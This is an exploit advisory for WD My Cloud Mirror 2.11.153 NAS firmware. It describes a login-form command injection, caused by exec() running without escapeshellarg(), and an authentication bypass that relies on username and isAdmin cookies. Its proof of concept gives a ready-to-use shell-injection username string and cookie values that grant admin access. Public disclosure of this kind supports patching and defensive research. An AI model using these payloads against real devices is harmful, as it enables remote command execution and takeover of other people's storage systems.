27 lines
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839 B
Text
27 lines
No EOL
839 B
Text
# Exploit Title: WD My Cloud Mirror 2.11.153 RCE and Authentication Bypass
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# Date: 24.01.2017
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# Software Link: https://www.wdc.com
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# Exploit Author: Kacper Szurek
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# Contact: https://twitter.com/KacperSzurek
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# Website: https://security.szurek.pl/
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# Category: local
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1. Description
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It’s possible to execute arbitrary commands using login form because `exec()` function is used without `escapeshellarg()`.
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It's possible to bypass login form because function only check if `$_COOKIE['username']` and `$_COOKIE['isAdmin']` exist.
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https://security.szurek.pl/wd-my-cloud-mirror-211153-rce-and-authentication-bypass.html
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2. Proof of Concept
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For RCE simply use as username:
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a" || your_command_to_execute || "
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For authentication bypass set COOKIES:
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username=1; isAdmin=1
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and then visit for example php/users.php |